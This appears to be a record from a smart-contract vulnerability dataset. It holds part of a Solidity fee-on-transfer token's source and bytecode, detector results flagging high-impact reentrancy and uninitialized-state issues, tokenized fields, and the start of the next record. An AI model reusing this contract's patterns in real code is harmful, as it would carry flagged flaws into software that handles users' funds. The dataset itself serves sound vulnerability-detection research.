{ swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 300000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 4000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
0x6080604052600436106100f75760003560e01c806370a082311161008a578063a9059cbb11610059578063a9059cbb146102ff578063c3c8cd801461033c578063c9567bf914610353578063dd62ed3e1461036a576100fe565b806370a0823114610255578063715018a6146102925780638da5cb5b146102a957806395d89b41146102d4576100fe565b80632ab30838116100c65780632ab30838146101d3578063313ce567146101ea5780635932ead1146102155780636fc3eaec1461023e576100fe565b806306fdde0314610103578063095ea7b31461012e57806318160ddd1461016b57806323b872dd14610196576100fe565b366100fe57005b600080fd5b34801561010f57600080fd5b506101186103a7565b604051610125919061251a565b60405180910390f35b34801561013a57600080fd5b5061015560048036038101906101509190612133565b6103e4565b60405161016291906124ff565b60405180910390f35b34801561017757600080fd5b50610180610402565b60405161018d919061263c565b60405180910390f35b3480156101a257600080fd5b506101bd60048036038101906101b891906120e4565b610413565b6040516101ca91906124ff565b60405180910390f35b3480156101df57600080fd5b506101e86104ec565b005b3480156101f657600080fd5b506101ff610593565b60405161020c91906126b1565b60405180910390f35b34801561022157600080fd5b5061023c6004803603810190610237919061216f565b61059c565b005b34801561024a57600080fd5b5061025361064e565b005b34801561026157600080fd5b5061027c60048036038101906102779190612056565b6106c0565b604051610289919061263c565b60405180910390f35b34801561029e57600080fd5b506102a7610711565b005b3480156102b557600080fd5b506102be610864565b6040516102cb9190612431565b60405180910390f35b3480156102e057600080fd5b506102e961088d565b6040516102f6919061251a565b60405180910390f35b34801561030b57600080fd5b5061032660048036038101906103219190612133565b6108ca565b60405161033391906124ff565b60405180910390f35b34801561034857600080fd5b506103516108e8565b005b34801561035f57600080fd5b50610368610962565b005b34801561037657600080fd5b50610391600480360381019061038c91906120a8565b610ebe565b60405161039e919061263c565b60405180910390f35b60606040518060400160405280600e81526020017f4d6574616c6c7572677952756c7a000000000000000000000000000000000000815250905090565b60006103f86103f1610f45565b8484610f4d565b6001905092915050565b600068056bc75e2d63100000905090565b6000610420848484611118565b6104e18461042c610f45565b6104dc85604051806060016040528060288152602001612b8b60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610492610f45565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113f49092919063ffffffff16565b610f4d565b600190509392505050565b6104f4610f45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610581576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610578906125bc565b60405180910390fd5b68056bc75e2d63100000601181905550565b60006009905090565b6105a4610f45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610631576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610628906125bc565b60405180910390fd5b80601060176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661068f610f45565b73ffffffffffffffffffffffffffffffffffffffff16146106af57600080fd5b60004790506106bd81611458565b50565b600061070a600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ba565b9050919050565b610719610f45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146107a6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079d906125bc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600281526020017f4d52000000000000000000000000000000000000000000000000000000000000815250905090565b60006108de6108d7610f45565b8484611118565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610929610f45565b73ffffffffffffffffffffffffffffffffffffffff161461094957600080fd5b6000610954306106c0565b905061095f81611628565b50565b61096a610f45565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ee906125bc565b60405180910390fd5b601060149054906101000a900460ff1615610a47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3e9061261c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610ad730600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d63100000610f4d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1d57600080fd5b505afa158015610b31573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b55919061207f565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610bb757600080fd5b505afa158015610bcb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bef919061207f565b6040518363ffffffff1660e01b8152600401610c0c92919061244c565b602060405180830381600087803b158015610c2657600080fd5b505af1158015610c3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5e919061207f565b601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ce7306106c0565b600080610cf2610864565b426040518863ffffffff1660e01b8152600401610d149695949392919061249e565b6060604051808303818588803b158015610d2d57600080fd5b505af1158015610d41573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d6691906121c1565b5050506001601060166101000a81548160ff0219169083151502179055506001601060176101000a81548160ff021916908315150217905550673782dace9d9000006011819055506001601060146101000a81548160ff021916908315150217905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610e68929190612475565b602060405180830381600087803b158015610e8257600080fd5b505af1158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba9190612198565b5050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fb4906125fc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561102d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110249061255c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110b919061263c565b60405180910390a3505050565b6000811161115b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611152906125dc565b60405180910390fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156111b257600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16146113e4576002600a819055506008600b81905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156112a05750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112f65750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561130e5750601060179054906101000a900460ff165b156113235760115481111561132257600080fd5b5b600061132e306106c0565b9050601060159054906101000a900460ff1615801561139b5750601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156113b35750601060169054906101000a900460ff165b156113e2576113c181611628565b6000479050670429d069189e00008111156113e0576113df47611458565b5b505b505b6113ef838383611922565b505050565b600083831115829061143c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611433919061251a565b60405180910390fd5b506000838561144b9190612802565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836114a19190612777565b9081150290604051600060405180830381858888f193505050501580156114cc573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6003836115169190612777565b9081150290604051600060405180830381858888f19350505050158015611541573d6000803e3d6000fd5b50600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc60038361158b9190612777565b9081150290604051600060405180830381858888f193505050501580156115b6573d6000803e3d6000fd5b5050565b6000600854821115611601576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115f89061253c565b60405180910390fd5b600061160b611932565b9050611620818461195d90919063ffffffff16565b915050919050565b6001601060156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611686577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156116b45781602001602082028036833780820191505090505b50905030816000815181106116f2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561179457600080fd5b505afa1580156117a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117cc919061207f565b81600181518110611806577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061186d30600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610f4d565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016118d1959493929190612657565b600060405180830381600087803b1580156118eb57600080fd5b505af11580156118ff573d6000803e3d6000fd5b50505050506000601060156101000a81548160ff02191690831515021790555050565b61192d8383836119a7565b505050565b600080600061193f611b72565b91509150611956818361195d90919063ffffffff16565b9250505090565b600061199f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611bd4565b905092915050565b6000806000806000806119b987611c37565b955095509550955095509550611a1786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c9f90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611aac85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611af881611d47565b611b028483611e04565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611b5f919061263c565b60405180910390a3505050505050505050565b60008060006008549050600068056bc75e2d631000009050611ba868056bc75e2d6310000060085461195d90919063ffffffff16565b821015611bc75760085468056bc75e2d63100000935093505050611bd0565b81819350935050505b9091565b60008083118290611c1b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c12919061251a565b60405180910390fd5b5060008385611c2a9190612777565b9050809150509392505050565b6000806000806000806000806000611c548a600a54600b54611e3e565b9250925092506000611c64611932565b90506000806000611c778e878787611ed4565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b6000611ce183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113f4565b905092915050565b6000808284611cf89190612721565b905083811015611d3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d349061257c565b60405180910390fd5b8091505092915050565b6000611d51611932565b90506000611d688284611f5d90919063ffffffff16565b9050611dbc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ce990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b611e1982600854611c9f90919063ffffffff16565b600881905550611e3481600954611ce990919063ffffffff16565b6009819055505050565b600080600080611e6a6064611e5c888a611f5d90919063ffffffff16565b61195d90919063ffffffff16565b90506000611e946064611e86888b611f5d90919063ffffffff16565b61195d90919063ffffffff16565b90506000611ebd82611eaf858c611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080611eed8589611f5d90919063ffffffff16565b90506000611f048689611f5d90919063ffffffff16565b90506000611f1b8789611f5d90919063ffffffff16565b90506000611f4482611f368587611c9f90919063ffffffff16565b611c9f90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415611f705760009050611fd2565b60008284611f7e91906127a8565b9050828482611f8d9190612777565b14611fcd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fc49061259c565b60405180910390fd5b809150505b92915050565b600081359050611fe781612b45565b92915050565b600081519050611ffc81612b45565b92915050565b60008135905061201181612b5c565b92915050565b60008151905061202681612b5c565b92915050565b60008135905061203b81612b73565b92915050565b60008151905061205081612b73565b92915050565b60006020828403121561206857600080fd5b600061207684828501611fd8565b91505092915050565b60006020828403121561209157600080fd5b600061209f84828501611fed565b91505092915050565b600080604083850312156120bb57600080fd5b60006120c985828601611fd8565b92505060206120da85828601611fd8565b9150509250929050565b6000806000606084860312156120f957600080fd5b600061210786828701611fd8565b935050602061211886828701611fd8565b92505060406121298682870161202c565b9150509250925092565b6000806040838503121561214657600080fd5b600061215485828601611fd8565b92505060206121658582860161202c565b9150509250929050565b60006020828403121561218157600080fd5b600061218f84828501612002565b91505092915050565b6000602082840312156121aa57600080fd5b60006121b884828501612017565b91505092915050565b6000806000606084860312156121d657600080fd5b60006121e486828701612041565b93505060206121f586828701612041565b925050604061220686828701612041565b9150509250925092565b600061221c8383612228565b60208301905092915050565b61223181612836565b82525050565b61224081612836565b82525050565b6000612251826126dc565b61225b81856126ff565b9350612266836126cc565b8060005b8381101561229757815161227e8882612210565b9750612289836126f2565b92505060018101905061226a565b5085935050505092915050565b6122ad81612848565b82525050565b6122bc8161288b565b82525050565b60006122cd826126e7565b6122d78185612710565b93506122e781856020860161289d565b6122f08161292e565b840191505092915050565b6000612308602a83612710565b91506123138261293f565b604082019050919050565b600061232b602283612710565b91506123368261298e565b604082019050919050565b600061234e601b83612710565b9150612359826129dd565b602082019050919050565b6000612371602183612710565b915061237c82612a06565b604082019050919050565b6000612394602083612710565b915061239f82612a55565b602082019050919050565b60006123b7602983612710565b91506123c282612a7e565b604082019050919050565b60006123da602483612710565b91506123e582612acd565b604082019050919050565b60006123fd601783612710565b915061240882612b1c565b602082019050919050565b61241c81612874565b82525050565b61242b8161287e565b82525050565b60006020820190506124466000830184612237565b92915050565b60006040820190506124616000830185612237565b61246e6020830184612237565b9392505050565b600060408201905061248a6000830185612237565b6124976020830184612413565b9392505050565b600060c0820190506124b36000830189612237565b6124c06020830188612413565b6124cd60408301876122b3565b6124da60608301866122b3565b6124e76080830185612237565b6124f460a0830184612413565b979650505050505050565b600060208201905061251460008301846122a4565b92915050565b6000602082019050818103600083015261253481846122c2565b905092915050565b60006020820190508181036000830152612555816122fb565b9050919050565b600060208201905081810360008301526125758161231e565b9050919050565b6000602082019050818103600083015261259581612341565b9050919050565b600060208201905081810360008301526125b581612364565b9050919050565b600060208201905081810360008301526125d581612387565b9050919050565b600060208201905081810360008301526125f5816123aa565b9050919050565b60006020820190508181036000830152612615816123cd565b9050919050565b60006020820190508181036000830152612635816123f0565b9050919050565b60006020820190506126516000830184612413565b92915050565b600060a08201905061266c6000830188612413565b61267960208301876122b3565b818103604083015261268b8186612246565b905061269a6060830185612237565b6126a76080830184612413565b9695505050505050565b60006020820190506126c66000830184612422565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061272c82612874565b915061273783612874565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561276c5761276b6128d0565b5b828201905092915050565b600061278282612874565b915061278d83612874565b92508261279d5761279c6128ff565b5b828204905092915050565b60006127b382612874565b91506127be83612874565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156127f7576127f66128d0565b5b828202905092915050565b600061280d82612874565b915061281883612874565b92508282101561282b5761282a6128d0565b5b828203905092915050565b600061284182612854565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061289682612874565b9050919050565b60005b838110156128bb5780820151818401526020810190506128a0565b838111156128ca576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b612b4e81612836565b8114612b5957600080fd5b50565b612b6581612848565b8114612b7057600080fd5b50565b612b7c81612874565b8114612b8757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203eeb9b0af8868a81f5efa93cd0dc5a77e7dc01f2466c1ea95c84084cd1c2194164736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'uninitialized-state', 'impact': 'High', 'confidence': 'High'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 28311, 2683, 16147, 25746, 2620, 2063, 17914, 2278, 8889, 2497, 2620, 16932, 2509, 2546, 2575, 2620, 2620, 21926, 2278, 23499, 2581, 2094, 28154, 18827, 2683, 22203, 2509, 2063, 1013, 1008, 1008, 1008, 7864, 2005, 22616, 2012, 28855, 29378, 1012, 22834, 2006, 25682, 1011, 5511, 1011, 5840, 1008, 1013, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,647
0x95797a7695a0cefcb52c487b0abd659101d1ec67
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Strings.sol // OpenZeppelin Contracts v4.4.0 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.0 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol // OpenZeppelin Contracts v4.4.0 (access/Ownable.sol) pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts v4.4.0 